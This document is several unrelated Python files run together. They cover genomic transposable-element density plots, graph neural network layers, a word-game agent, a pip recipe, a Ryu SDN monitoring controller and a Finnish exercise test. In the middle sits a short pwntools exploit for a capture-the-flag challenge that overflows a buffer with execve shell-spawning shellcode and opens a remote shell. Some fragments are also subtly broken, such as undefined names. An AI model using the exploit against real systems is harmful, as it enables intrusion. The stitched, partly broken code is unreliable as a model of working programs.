"""
Analyze the TE density values of 'regular' syntelogs in various genomes
"""

__author__ = "Scott Teresi"

import pandas as pd
import argparse
import os
import logging
import coloredlogs
import numpy as np
import re
from configparser import ConfigParser

from transposon.import_filtered_genes import import_filtered_genes
from transposon.density_data import DensityData
from transposon.gene_data import GeneData

from src.fish_utils import (
    get_gene_data_as_list,
    add_hdf5_indices_to_gene_data_from_list_hdf5,
    add_te_vals_to_gene_info_pandas_from_list_hdf5,
    add_te_vals_to_syntelogs,
    parse_analysis_config,
)

import matplotlib.pyplot as plt
import matplotlib.patches as mpatches

def read_syntelog_file(filepath, genome_name):
    """
    Read the syntelog file provided by collaborators as a pandas.DataFrame

    Args:
        filepath (str): String representing the filepath on disk.

        genome_name (str): String repreenting the shorthand genome name. This
        is used to subset the file with the appropriate columns so that we get
        the right A and B subgenomes. Acceptable values provided by
        args.genome_name

    Returns:
            syntelogs (pandas.DataFrame)
                Index:
                    RangeIndex
                Columns:
                    Name: genome_name + '_A': dtype, object
                    Name: genome_name + '_B', dtype: object
    """
    # MAGIC column names inherent to the file
    syntelogs = pd.read_csv(
        filepath,
        header=None,
        sep="\t",
        names=[
            "Drop",
            "LC_B",
            "LC_A",
            "Drop2",
            "PR_B",
            "PR_A",
            "Drop3",
            "SS_A",
            "SS_B",
        ],
        usecols=["LC_B", "LC_A", "PR_B", "PR_A", "SS_A", "SS_B"],
    )
    cols_i_want = [genome_name + "_A", genome_name + "_B"]
    syntelogs = syntelogs[cols_i_want]

    # Remove the '.m1' string from the end
    # NOTE, from now on use the replace syntax because the .strip can have
    # weird unintended functionality
    syntelogs = syntelogs.apply(lambda x: x.str.replace("\.m1", "", regex=True))

    # Remove the genome name prefix, this is inherent to the input data
    # MAGIC string split
    syntelogs = syntelogs.apply(lambda x: x.str.split("_").str[1])

    return syntelogs

def graph_histogram_density_differences(
    values,
    te_type,
    window_val,
    direction,
    number_of_zeros,
    genome_name_str,
    genome_1,
    genome_2,
    output_dir,
    logger,
    display=False,
):
    """
    Plot a histogram of TE density differences between syntelog pairs

    Args:
        values (list): A list of values representing the TE density differences
        between syntelog pairs

        te_type (str): String representing the TE type being plotted

        window_val (int): Integer representing the current window of which the
        data is being plotted

        direction (str): string representing whether or not the graphs are
        coming from upstream or downstream TE density data

        number_of_zeros ():

        logger (logging.Logger): Object to log information to

        display (boolean): Defaults to False, if True shows the plot upon
        generation with the plt.show() command
    """

    # MAGIC, the bins to group density values for the histogram AND the values
    # for the xticks on the xaxis

    # NOTE could use linspace but I want the numbers to show up nice for the
    # figure, so I had to hard-code
    # tick_bins = np.linspace(-1.0, 1.0, num=21, endpoint=True).tolist()
    tick_bins = [
        -1.0,
        -0.9,
        -0.8,
        -0.7,
        -0.6,
        -0.5,
        -0.4,
        -0.3,
        -0.2,
        -0.1,
        0,
        0.1,
        0.2,
        0.3,
        0.4,
        0.5,
        0.6,
        0.7,
        0.8,
        0.9,
        1.0,
    ]

    plt.figure(figsize=(9, 6))
    n, bins, patches = plt.hist(
        values, bins=tick_bins, facecolor="blue", ec="black", alpha=0.5
    )
    plt.ylabel("Number of Genes")
    plt.xlabel("Difference in TE Density Values")

    plt.title(
        genome_1.replace("_", " Subgenome ")
        + " - "
        + genome_2.replace("_", " Subgenome ")
    )  # MAGIC genome name order here, Be
    # careful that it corresponds to your subtraction scheme

    N = mpatches.Patch(
        color=None,
        alpha=0,
        label="Total Plotted Genes: %s \nTE type: %s \nWindow: %s \nDirection: %s \nNo. 0 Differences: %s"
        % (len(values), te_type, window_val, direction, str(number_of_zeros)),
    )
    plt.xticks(tick_bins, fontsize=6.5)
    plt.legend(handles=[N])

    # Create a black vertical line at 0 for visual purposes
    plt.axvline(x=0, color="black")

    path = os.path.join(
        output_dir,
        "Barplot",
        (
            genome_name_str
            + "_"
            + te_type
            + "_"
            + str(window_val)
            + "_"
            + direction
            + "_DensityDifferences.svg"
        ),
    )
    logger.info("Saving graph to: %s" % path)
    os.makedirs(os.path.join(args.output_dir, "Barplot"), exist_ok=True)
    plt.savefig(path, bbox_inches="tight")
    if display:
        plt.show()
    plt.clf()
    plt.close()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="")
    parser.add_argument(
        "syntelog_file",
        type=str,
        help="""syntelog file provided
                        by collaborators""",
    )

    parser.add_argument(
        "genome_name", type=str, help="genome name", choices=["LC", "SS", "PR"]
    )
    parser.add_argument(
        "gene_data",
        type=str,
        help="""gene data file that is the input to TE Density""",
    )

    parser.add_argument(
        "HDF5_dir",
        type=str,
        help=""".h5 files corresponding to the genome""",
    )

    parser.add_argument(
        "config_file",
        type=str,
        help="parent path of config file",
    )

    parser.add_argument(
        "output_dir",
        type=str,
        help="Parent directory to output results",
    )
    logger = logging.getLogger(__name__)
    args = parser.parse_args()
    args.syntelog_file = os.path.abspath(args.syntelog_file)
    args.gene_data = os.path.abspath(args.gene_data)
    args.config_file = os.path.abspath(args.config_file)
    args.HDF5_dir = os.path.abspath(args.HDF5_dir)
    args.output_dir = os.path.abspath(args.output_dir)
    windows, directions, orders = parse_analysis_config(args.config_file)

    # -----------------------------------------------------------------------
    # Read and initialize various data

    # Read the universal syntelog table
    syntelogs = read_syntelog_file(args.syntelog_file, args.genome_name)

    # Read cleaned genes for the given genome as pandas
    cleaned_genes = import_filtered_genes(args.gene_data, logger)

    # Get list of GeneData for each genome to enable initialization of
    # DensityData
    genedata_list = get_gene_data_as_list(cleaned_genes)

    # Initialize DensityData for each genome
    processed_dd_data = DensityData.from_list_gene_data_and_hdf5_dir(
        genedata_list, args.HDF5_dir, args.genome_name + "_(.*?).h5", logger
    )

    # Reset index to make it easier to add the HDF5 indices to a pandas frame
    cleaned_genes.reset_index(inplace=True)

    # Add HDF5 indices to a pandas dataframe to enable easier HDF5 TE value
    # access later
    # This is used for the special and regular gene set independently
    gene_frame_with_indices = add_hdf5_indices_to_gene_data_from_list_hdf5(
        cleaned_genes, processed_dd_data
    )

    # -----------------------------------------------------------------------
    # Begin analysis of regular genes

    # Do the loops to create graphs for the general set
    for window in windows:
        for direction in directions:
            for order in orders:

                # NOTE this is only for the orders. I could do it for the
                # superfamilies but I don't think that is wanted or needed
                cleaned_with_te_vals = add_te_vals_to_gene_info_pandas_from_list_hdf5(
                    gene_frame_with_indices,
                    processed_dd_data,
                    "Order",
                    order,
                    direction,
                    window,
                )

                syntelogs_w_te_vals = add_te_vals_to_syntelogs(
                    syntelogs, cleaned_with_te_vals, args.genome_name
                )

                # MAGIC string formatting
                # NOTE A genome MINUS B genome. Negative values means that the
                # B copy had more TE
                syntelogs_w_te_vals["Difference"] = (
                    syntelogs_w_te_vals[
                        order + "_" + str(window) + "_" + direction + "_A"
                    ]
                    - syntelogs_w_te_vals[
                        order + "_" + str(window) + "_" + direction + "_B"
                    ]
                )

                total_length = len(syntelogs_w_te_vals)

                # NB subset to have only rows with a nonzero difference

                syntelogs_w_te_vals = syntelogs_w_te_vals.loc[
                    syntelogs_w_te_vals["Difference"] != 0
                ]
                number_of_zeros = total_length - len(syntelogs_w_te_vals)

                graph_histogram_density_differences(
                    syntelogs_w_te_vals["Difference"].to_list(),
                    order,
                    window,
                    direction,
                    number_of_zeros,
                    args.genome_name,
                    args.genome_name + "_A",
                    args.genome_name + "_B",
                    args.output_dir,
                    logger,
                    display=False,
                )


import torch
import torch_sparse
from ogb.graphproppred.mol_encoder import BondEncoder, AtomEncoder
from torch import nn as nn
from torch.nn import functional as F
from torch_geometric import nn as nng
from torch_geometric.nn import global_add_pool, global_mean_pool, global_max_pool, GlobalAttention, Set2Set, global_sort_pool
from torch_geometric.data import Batch, Data
from torch_sparse import SparseTensor, coalesce
from torch_scatter import scatter_add
from copy import copy
import pdb

def center_pool(x, node_to_subgraph):
    node_to_subgraph = node_to_subgraph.cpu().numpy()
    # the first node of each subgraph is its center
    _, center_indices = np.unique(node_to_subgraph, return_index=True)
    x = x[center_indices]
    return x

class MLP(nn.Module):
    def __init__(self, in_dim, out_dim):
        super().__init__()
        self.main = [
            nn.Linear(in_dim, 2 * in_dim),
            nn.BatchNorm1d(2 * in_dim),
            nn.ReLU()
        ]
        self.main.append(nn.Linear(2 * in_dim, out_dim))
        self.main = nn.Sequential(*self.main)

    def forward(self, x):
        return self.main(x)

#################
# Embeddings
#################
class OGBMolEmbedding(nn.Module):
    def __init__(self, dim, embed_edge=True, x_as_list=False):
        super().__init__()
        self.atom_embedding = AtomEncoder(emb_dim=dim)
        if embed_edge:
            self.edge_embedding = BondEncoder(emb_dim=dim)
        self.x_as_list = x_as_list

    def forward(self, data):
        data = new(data)
        data.x = self.atom_embedding(data.x)
        if self.x_as_list:
            data.x = [data.x]
        if hasattr(self, 'edge_embedding'):
            data.edge_attr = self.edge_embedding(data.edge_attr)
        return data

class NodeEmbedding(nn.Module):
    def __init__(self, in_dim, out_dim, x_as_list=False):
        super().__init__()
        self.embedding = nn.Embedding(num_embeddings=in_dim, embedding_dim=out_dim)
        self.x_as_list = x_as_list

    def forward(self, data):
        data = new(data)
        data.x = self.embedding(data.x)
        if self.x_as_list:
            data.x = [data.x]
        return data

class VNAgg(nn.Module):
    def __init__(self, dim, conv_type="gin"):
        super().__init__()
        self.conv_type = conv_type
        if "gin" in conv_type:
            self.mlp = nn.Sequential(
                MLP(dim, dim),
                nn.BatchNorm1d(dim),
                nn.ReLU()
            )
        elif "gcn" in conv_type:
            self.W0 = nn.Linear(dim, dim)
            self.W1 = nn.Linear(dim, dim)
            self.nl_bn = nn.Sequential(
                nn.BatchNorm1d(dim),
                nn.ReLU()
            )
        else:
            raise NotImplementedError('Unrecognised model conv : {}'.format(conv_type))

    def forward(self, virtual_node, embeddings, batch_vector):
        if batch_vector.size(0) > 0:  # ...or the operation will crash for empty graphs
            G = nng.global_add_pool(embeddings, batch_vector)
        else:
            G = torch.zeros_like(virtual_node)
        if "gin" in self.conv_type:
            virtual_node = virtual_node + G
            virtual_node = self.mlp(virtual_node)
        elif "gcn" in self.conv_type:
            virtual_node = self.W0(virtual_node) + self.W1(G)
            virtual_node = self.nl_bn(virtual_node)
        else:
            raise NotImplementedError('Unrecognised model conv : {}'.format(self.conv_type))
        return virtual_node

class ConvBlock(nn.Module):
    def __init__(self, dim, dropout=0.5, activation=F.relu, virtual_node=False, virtual_node_agg=True,
                 k=4, last_layer=False, conv_type='gin', edge_embedding=None):
        super().__init__()
        self.edge_embed = edge_embedding
        self.conv_type = conv_type
        if conv_type == 'gin+':
            self.conv = GINEPLUS(MLP(dim, dim), dim, k=k)
        elif conv_type == 'naivegin+':
            self.conv = NAIVEGINEPLUS(MLP(dim, dim), dim, k=k)
        elif conv_type == 'gin':
            self.conv = nng.GINEConv(MLP(dim, dim), train_eps=True)
        elif conv_type == 'gcn':
            self.conv = nng.GCNConv(dim, dim)
        self.norm = nn.BatchNorm1d(dim)
        self.act = activation or nn.Identity()
        self.last_layer = last_layer

        self.dropout_ratio = dropout

        self.virtual_node = virtual_node
        self.virtual_node_agg = virtual_node_agg
        if self.virtual_node and self.virtual_node_agg:
            self.vn_aggregator = VNAgg(dim, conv_type=conv_type)

    def forward(self, data):
        data = new(data)
        x, ei, ea, b = data.x, data.edge_index, data.edge_attr, data.batch
        mhei, d = data.multihop_edge_index, data.distance
        h = x
        if self.virtual_node:
            if self.conv_type == 'gin+':
                h[0] = h[0] + data.virtual_node[b]
            else:
                h = h + data.virtual_node[b]
        if self.conv_type == 'gin':
            H = self.conv(h, ei, edge_attr=self.edge_embed(ea))
        elif self.conv_type == 'gcn':
            H = self.conv(h, ei)
        else:
            H = self.conv(h, mhei, d, self.edge_embed(ea))
        if self.conv_type == 'gin+':
            h = H[0]
        else:
            h = H
        h = self.norm(h)
        if not self.last_layer:
            h = self.act(h)
        h = F.dropout(h, self.dropout_ratio, training=self.training)

        if self.virtual_node and self.virtual_node_agg:
            v = self.vn_aggregator(data.virtual_node, h, b)
            v = F.dropout(v, self.dropout_ratio, training=self.training)
            data.virtual_node = v
        if self.conv_type == 'gin+':
            H[0] = h
            h = H
        data.x = h
        return data

class GlobalPool(nn.Module):
    def __init__(self, fun, cat_size=False, cat_candidates=False, subgraph_to_graph='False'):
        super().__init__()
        self.cat_size = cat_size
        self.fun = getattr(nng, "global_{}_pool".format(fun.lower()))
        self.cat_candidates = cat_candidates
        self.subgraph_to_graph = subgraph_to_graph

    def forward(self, batch):
        if self.subgraph_to_graph:
            x, b = batch.x, batch.subgraph_to_graph
        else:
            x, b = batch.x, batch.batch
        pooled = self.fun(x, b, size=batch.num_graphs)
        if self.cat_size:
            sizes = nng.global_add_pool(torch.ones(x.size(0), 1).type_as(x), b, size=batch.num_graphs)
            pooled = torch.cat([pooled, sizes], dim=1)
        if self.cat_candidates:
            ei = batch.edge_index
            mask = batch.edge_attr == 3
            candidates = scatter_add(x[ei[0, mask]], b[ei[0, mask]], dim=0, dim_size=batch.num_graphs)
            pooled = torch.cat([pooled, candidates], dim=1)
        return pooled

class ClassifierNetwork(nn.Module):
    def __init__(self, hidden=100, out_dim=128, layers=3, dropout=0.5, virtual_node=False,
                 k=4, conv_type='gin', nested=False, subgraph_pooling='mean'):
        super().__init__()
        self.k = k
        self.conv_type = conv_type
        convs = [ConvBlock(hidden,
                           dropout=dropout,
                           virtual_node=virtual_node,
                           k=min(i + 1, k),
                           conv_type=conv_type,
                           edge_embedding=BondEncoder(emb_dim=hidden))
                 for i in range(layers - 1)]
        convs.append(ConvBlock(hidden,
                               dropout=dropout,
                               virtual_node=virtual_node,
                               virtual_node_agg=False,  # on last layer, use but do not update virtual node
                               last_layer=True,
                               k=min(layers, k),
                               conv_type=conv_type,
                               edge_embedding=BondEncoder(emb_dim=hidden)))
        self.main = nn.Sequential(
            OGBMolEmbedding(hidden, embed_edge=False, x_as_list=(conv_type == 'gin+')),
            *convs)
        self.aggregate = nn.Sequential(
            GlobalPool('mean', subgraph_to_graph=nested),
            nn.Linear(hidden, out_dim)
        )
        self.virtual_node = virtual_node
        if self.virtual_node:
            self.v0 = nn.Parameter(torch.zeros(1, hidden), requires_grad=True)

        ### Pooling function to generate sub-graph embeddings
        self.subgraph_pooling = subgraph_pooling
        if self.subgraph_pooling == "sum":
            self.subpool = global_add_pool
        elif self.subgraph_pooling == "mean":
            self.subpool = global_mean_pool
        elif self.subgraph_pooling == "max":
            self.subpool = global_max_pool
        elif self.subgraph_pooling == "attention":
            self.subpool = GlobalAttention(gate_nn = torch.nn.Sequential(torch.nn.Linear(emb_dim, 2*emb_dim), torch.nn.BatchNorm1d(2*emb_dim), torch.nn.ReLU(), torch.nn.Linear(2*emb_dim, 1)))
        elif self.subgraph_pooling == "center":
            self.subpool = center_pool
        else:
            self.subpool = None

    def forward(self, data):
        data = make_multihop_edges(data, self.k)
        if self.virtual_node:
            data.virtual_node = self.v0.expand(data.num_graphs, self.v0.shape[-1])
        g = self.main(data)
        if self.conv_type == 'gin+':
            g.x = g.x[0]

        if 'node_to_subgraph' in data and 'subgraph_to_graph' in data:
            g.x = self.subpool(g.x, g.node_to_subgraph)

        return self.aggregate(g)

def make_multihop_edges(data, k):
    """
    Adds edges corresponding to distances up to k to a data object.
    :param data: torch_geometric.data object, in coo format
    (ie an edge (i, j) with label v is stored with an arbitrary index u as:
     edge_index[0, u] = i, edge_index[1, u]=j, edge_attr[u]=v)
    :return: a new data object with new fields, multihop_edge_index and distance.
    distance[u] contains values from 1 to k corresponding to the distance between
    multihop_edge_index[0, u] and multihop_edge_index[1, u]
    """
    data = new(data)

    N = data.num_nodes
    E = data.num_edges
    if E == 0:
        data.multihop_edge_index = torch.empty_like(data.edge_index)
        data.distance = torch.empty_like(data.multihop_edge_index[0])
        return data

    # Get the distance 0
    multihop_edge_index = torch.arange(0, N, dtype=data.edge_index[0].dtype, device=data.x.device)
    distance = torch.zeros_like(multihop_edge_index)
    multihop_edge_index = multihop_edge_index.unsqueeze(0).repeat(2, 1)

    # Get the distance 1
    multihop_edge_index = torch.cat((multihop_edge_index, data.edge_index), dim=1)
    distance = torch.cat((distance, torch.ones_like(data.edge_index[0])), dim=0)

    A = SparseTensor(row=data.edge_index[0], col=data.edge_index[1], value=torch.ones_like(data.edge_index[0]).float(),
                     sparse_sizes=(N, N), is_sorted=False)
    Ad = A  # A to the power d

    # Get larger distances
    for d in range(2, k + 1):
        Ad = torch_sparse.matmul(Ad, A)
        row, col, v = Ad.coo()
        d_edge_index = torch.stack((row, col))
        d_edge_attr = torch.empty_like(row).fill_(d)
        multihop_edge_index = torch.cat((multihop_edge_index, d_edge_index), dim=1)
        distance = torch.cat((distance, d_edge_attr), dim=0)

    # remove dupicate, keep only shortest distance
    multihop_edge_index, distance = coalesce(multihop_edge_index, distance, N, N, op='min')

    data.multihop_edge_index = multihop_edge_index
    data.distance = distance

    return data

class NAIVEGINEPLUS(nng.MessagePassing):
    def __init__(self, fun, dim, k=4, **kwargs):
        super().__init__(aggr='add')
        self.k = k
        self.nn = fun
        self.eps = nn.Parameter(torch.zeros(k + 1, dim), requires_grad=True)

    def forward(self, x, multihop_edge_index, distance, edge_attr):
        assert x.size(-1) == edge_attr.size(-1)
        result = (1 + self.eps[0]) * x
        for i in range(self.k):
            if i == 0:
                out = self.propagate(multihop_edge_index[:, distance == i + 1], edge_attr=edge_attr, x=x)
            else:
                out = self.propagate(multihop_edge_index[:, distance == i + 1], edge_attr=None, x=x)
            result += (1 + self.eps[i + 1]) * out
        result = self.nn(result)
        return result

    def message(self, x_j, edge_attr):
        if edge_attr is not None:
            return F.relu(x_j + edge_attr)
        else:
            return F.relu(x_j)

    def __repr__(self):
        return '{}(nn={}, k={})'.format(self.__class__.__name__, self.nn, self.eps.size(0))

class GINEPLUS(nng.MessagePassing):
    def __init__(self, fun, dim, k=4, **kwargs):
        super().__init__(aggr='add')
        self.k = k
        self.nn = fun
        self.eps = nn.Parameter(torch.zeros(k + 1, dim), requires_grad=True)

    def forward(self, XX, multihop_edge_index, distance, edge_attr):
        """Warning, XX is now a list of previous xs, with x[0] being the last layer"""
        assert len(XX) >= self.k
        assert XX[-1].size(-1) == edge_attr.size(-1)
        result = (1 + self.eps[0]) * XX[0]
        for i, x in enumerate(XX):
            if i >= self.k:
                break
            if i == 0:
                out = self.propagate(multihop_edge_index[:, distance == i + 1], edge_attr=edge_attr, x=x)
            else:
                out = self.propagate(multihop_edge_index[:, distance == i + 1], edge_attr=None, x=x)
            result += (1 + self.eps[i + 1]) * out
        result = self.nn(result)
        return [result] + XX

    def message(self, x_j, edge_attr):
        if edge_attr is not None:
            return F.relu(x_j + edge_attr)
        else:
            return F.relu(x_j)

def new(data):
    """returns a new torch_geometric.data.Data containing the same tensors.
    Faster than data.clone() (tensors are not cloned) and preserves the old data object as long as
    tensors are not modified in-place. Intended to modify data object, without modyfing the tensors.
    ex:
    d1 = data(x=torch.eye(3))
    d2 = new(d1)
    d2.x = 2*d2.x
    In that case, d1.x was not changed."""
    return copy(data)


class Agent:
    def __init__(self, name, **kwargs):
        self.name = name
        action_types = ['add_to_start',
                            'add_to_end',
                            'challenge_no_word',
                            'challenge_is_word']
        self.action_types = dict(enumerate(action_types, start = 1))
        self.action_types = {str(idx):act for idx,act in self.action_types.items()}
        self._letters = [letter for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ']

    def __repr__(self):
        return self.name

    def get_action(self, game_state):
        '''
        It should output actions based on the game state.
        Game state is a dictionary as follows:
            {
                "last_action": tuple or None. the action of the previous player,
                "current_string": str or None. the current string,
            }
        Output action is a tuple of two items:
            action_type: str. any of:
                "add_to_start": add string_ to the start of the current string
                "add_to_end": add _string to the end of the current string
                "challenge_no_word": challenge the previous player to prove that a valid word can be produced from the current string
                "challenge_is_word": challenge that the current string is itself a valid word
                "claim_word": respond to 'challenge_no_word' by presenting a supposedly valid word from the current string
            string_: str or None.
                if action_type is "add_to_start" or "add_to_end", the character to add
                if action_type is "challenge_no_word" or "challenge_is_word", None
                if action_type is "claim_word", the supposedly valid word
        '''

        last_action = game_state["last_action"]
        current_string = game_state["current_string"]
        if last_action is not None:
            last_action_type, last_string_ = last_action
        else:
            last_action_type = None

        action_type = self._choose_action_type(last_action_type, current_string)
        string_ = self._choose_string(action_type)

        return action_type, string_

    def _choose_action_type(self, last_action_type, current_string):
        if last_action_type == "challenge_no_word":
            action_type = "claim_word"
        elif current_string == "":
            action_type = "add_to_start"
        else:
            print("Select an action type:")
            for idx, act in self.action_types.items():
                print(idx, act)
            print("\n")

            action_type = None
            while action_type is None:
                action_type_idx = input("Enter number:")
                action_type = self.action_types.get(action_type_idx, None)
                if action_type is None:
                    print("Please enter a valid number")
            print(f"Chose {action_type}")

        return action_type

    def _choose_string(self, action_type):
        if (action_type == "challenge_no_word") or (action_type == "challenge_is_word"):
            string_ = None
        elif action_type == "claim_word":
            string_ = input("Enter claimed word:")
        else:
            is_valid_letter = False
            while not is_valid_letter:
                string_ = input("Enter a letter:")
                string_ = string_.upper()
                if (string_ in self._letters) and (len(string_) == 1):
                    is_valid_letter = True
                if not is_valid_letter:
                    print("Please enter a valid letter.")

        return string_


from pwn import *

#p = gdb.debug("./seashells")
#p = process("./seashells")
p = remote("0.cloud.chals.io", 22808)

addr = p.recvline().decode().split()[-1]
addr = int(addr[2:],16)
print("addr", hex(addr))

payload = b'A'*24
payload += b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
payload += b'A'*20
payload += p64(addr+24)
#gdb.attach(p)
p.sendline(payload)

p.interactive()


from .base import PipBaseRecipe

class PandocFiltersRecipe(PipBaseRecipe):
    def __init__(self, *args, **kwargs):
        super(PandocFiltersRecipe, self).__init__(*args, **kwargs)
        self.sha256 = 'ec8bcd100d081db092c57f93462b1861' \
                      'bcfa1286ef126f34da5cb1d969538acd'

        self.name = 'pandocfilters'
        self.version = '1.4.1'


from operator import attrgetter
from ryu.app import simple_switch_13
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER, DEAD_DISPATCHER, CONFIG_DISPATCHER, HANDSHAKE_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.controller.ofp_event import EventOFPErrorMsg
from ryu.lib import hub

from ryu.lib.packet import packet
from ryu.lib.packet import packet
from ryu.lib.packet import ethernet
from ryu.lib.packet import ether_types
from ryu.lib import dpid as dpid_lib

import json
import sys
sys.path.insert(0, '/home/efcastillo/ryu/ryu/app/ipro/mp')
import ConnectionBD_v2

class IntelligentProbing(simple_switch_13.SimpleSwitch13):

    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]

    def __init__(self, *args, **kwargs):
        super(IntelligentProbing, self).__init__(*args, **kwargs)
        self.datapaths = {}
        self.monitor_thread = hub.spawn(self._monitor)

    @set_ev_cls(ofp_event.EventOFPStateChange,
                [MAIN_DISPATCHER, DEAD_DISPATCHER])
    def _state_change_handler(self, ev):
        datapath = ev.datapath
        if ev.state == MAIN_DISPATCHER:
            if datapath.id not in self.datapaths:
                self.logger.debug('register datapath: %016x', datapath.id)
                self.datapaths[datapath.id] = datapath
        elif ev.state == DEAD_DISPATCHER:
            if datapath.id in self.datapaths:
                self.logger.debug('unregister datapath: %016x', datapath.id)
                del self.datapaths[datapath.id]

    def _monitor(self):
        while True:
            for dp in self.datapaths.values():
                self._request_stats(dp)
            hub.sleep(5)

    def _request_stats(self, datapath):
        self.logger.debug('send stats request: %016x', datapath.id)
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        #Individual flow statistics request message
        req = parser.OFPFlowStatsRequest(datapath)
        datapath.send_msg(req)

        #Port statistics request message
        req = parser.OFPPortStatsRequest(datapath, 0, ofproto.OFPP_ANY)
        datapath.send_msg(req)

        #Aggregate flow statistics request message
        cookie = cookie_mask = 0
        match = parser.OFPMatch(in_port=1)
        req = parser.OFPAggregateStatsRequest(datapath, 0,
                                              ofproto.OFPTT_ALL,
                                              ofproto.OFPP_ANY,
                                              ofproto.OFPG_ANY,
                                              cookie, cookie_mask,
                                              match)
        datapath.send_msg(req)

    @set_ev_cls(ofp_event.EventOFPFlowStatsReply, MAIN_DISPATCHER)
    def _flow_stats_reply_handler(self, ev):
        body = ev.msg.body
        flow_statistics = {}
        """
        self.logger.info('datapath         '
                         'in-port  eth-dst           '
                         'out-port packets  bytes')
        self.logger.info('---------------- '
                         '-------- ----------------- '
                         '-------- -------- --------')
        """
        for stat in sorted([flow for flow in body if flow.priority == 1],
                           key=lambda flow: (flow.match['in_port'],
                                             flow.match['eth_dst'])):
            """
            self.logger.info('%016x %8x %17s %8x %8d %8d',
                             ev.msg.datapath.id,
                             stat.match['in_port'], stat.match['eth_dst'],
                             stat.instructions[0].actions[0].port,
                             stat.packet_count, stat.byte_count)
            """
            flow_statistics['id_datapath'] = ev.msg.datapath.id
            flow_statistics['in_port']     = stat.match['in_port']
            flow_statistics['eth_dst']     = stat.match['eth_dst']
            flow_statistics['out_port']    = stat.instructions[0].actions[0].port
            flow_statistics['packets']     = stat.packet_count
            flow_statistics['bytes']       = stat.byte_count
            #ConnectionBD_v2.insertStatFlow(flow_statistics)
            #self.logger.info('%s', json.dumps(ev.msg.to_jsondict(), ensure_ascii=True,
             #                     indent=3, sort_keys=True))

        flows = []
        for stat in ev.msg.body:
            flows.append('cookie=%d packet_count=%d byte_count=%d '
                         'match=%s instructions=%s' %
                         (stat.cookie, stat.packet_count, stat.byte_count,
                          stat.match, stat.instructions))
        #self.logger.info('FlowStats: %s', flows)

    @set_ev_cls(ofp_event.EventOFPPortStatsReply, MAIN_DISPATCHER)
    def _port_stats_reply_handler(self, ev):
        body = ev.msg.body
        port_statistics = {}
        """
        self.logger.info('datapath         port     '
                         'rx-pkts  rx-bytes rx-error '
                         'tx-pkts  tx-bytes tx-error')
        self.logger.info('---------------- -------- '
                         '-------- -------- -------- '
                         '-------- -------- --------')
        """
        for stat in sorted(body, key=attrgetter('port_no')):
            """
            self.logger.info('%016x %8x %8d %8d %8d %8d %8d %8d',
                             ev.msg.datapath.id, stat.port_no,
                             stat.rx_packets, stat.rx_bytes, stat.rx_errors,
                             stat.tx_packets, stat.tx_bytes, stat.tx_errors)
            """
            port_statistics['id_datapath'] = ev.msg.datapath.id
            port_statistics['port_number'] = stat.port_no
            port_statistics['rx_packets']  = stat.rx_packets
            port_statistics['rx_bytes']    = stat.rx_bytes
            port_statistics['rx_errors']   = stat.rx_errors
            port_statistics['tx_packets']  = stat.tx_packets
            port_statistics['tx_bytes']    = stat.tx_bytes
            port_statistics['tx_errors']   = stat.tx_errors

            #ConnectionBD_v2.insertStatPort(port_statistics)

    @set_ev_cls(ofp_event.EventOFPAggregateStatsReply, MAIN_DISPATCHER)
    def aggregate_stats_reply_handler(self, ev):

        body = ev.msg.body

        self.logger.debug('AggregateStats: packet_count=%d byte_count=%d'
            'flow_count=%d',
            body.packet_count, body.byte_count,
            body.flow_count)

    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)
    def _packet_in_handler(self, ev):
        #self.logger.info("[Ehsan] Received EventOFPPacketIn")
        # If you hit this you might want to increase
        # the "miss_send_length" of your switch
        if ev.msg.msg_len < ev.msg.total_len:
            self.logger.debug("packet truncated: only %s of %s bytes",
                              ev.msg.msg_len, ev.msg.total_len)
        msg = ev.msg
        datapath = msg.datapath
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser
        in_port = msg.match['in_port']

        pkt = packet.Packet(msg.data)
        eth = pkt.get_protocols(ethernet.ethernet)[0]

        dst = eth.dst
        src = eth.src

        dpid = datapath.id
        self.mac_to_port.setdefault(dpid, {})

        self.logger.info("\tPACKET IN.... %s %s %s %s", dpid, src, dst, in_port)

        # learn a mac address to avoid FLOOD next time.
        self.mac_to_port[dpid][src] = in_port

        if dst in self.mac_to_port[dpid]:
            out_port = self.mac_to_port[dpid][dst]
        else:
            out_port = ofproto.OFPP_FLOOD

        actions = [parser.OFPActionOutput(out_port)]

        # install a flow to avoid packet_in next time
        if out_port != ofproto.OFPP_FLOOD:
            match = parser.OFPMatch(in_port=in_port, eth_dst=dst)
            # verify if we have a valid buffer_id, if yes avoid to send both
            # flow_mod & packet_out
            if msg.buffer_id != ofproto.OFP_NO_BUFFER:
                self.add_flow(datapath, 1, match, actions, msg.buffer_id)
                return
            else:
                self.add_flow(datapath, 1, match, actions)
        data = None
        if msg.buffer_id == ofproto.OFP_NO_BUFFER:
            data = msg.data

        out = parser.OFPPacketOut(datapath=datapath, buffer_id=msg.buffer_id,
                                  in_port=in_port, actions=actions, data=data)
        datapath.send_msg(out)

    @set_ev_cls(EventOFPErrorMsg,
                [HANDSHAKE_DISPATCHER, CONFIG_DISPATCHER, MAIN_DISPATCHER])
    def error_msg_handler(self, ev):
        msg = ev.msg
        self.logger.info('OFPErrorMsg received: type=0x%02x code=0x%02x '
                         'message=%s',
                        msg.type, msg.code, hex_array(msg.data))


import unittest
from unittest.mock import patch

from tmc import points
from tmc.utils import load_module, reload_module, get_stdout
from functools import reduce
from random import randint

exercise = 'src.jatketaanko'

def format_tuple(d : tuple):
    return str(d).replace("'","")

@points('2.jatketaanko')
class JatketaankoTest(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        with patch('builtins.input', side_effect =["ei"]):
            cls.module = load_module(exercise, 'fi')

    def test_ensimmainen(self):
        values = "jatka ei".split(" ")

        with patch('builtins.input', side_effect = values):
            try:
                reload_module(self.module)
                output = get_stdout()
            except:
                self.assertTrue(False, "Varmista, että ohjelma pysähtyy syötteellä {}".format(values))

    def test_kolme_ja_ei(self):
        values = "jatka joo kyllä ei".split(" ")

        with patch('builtins.input', side_effect = values):
            reload_module(self.module)
            output = get_stdout()
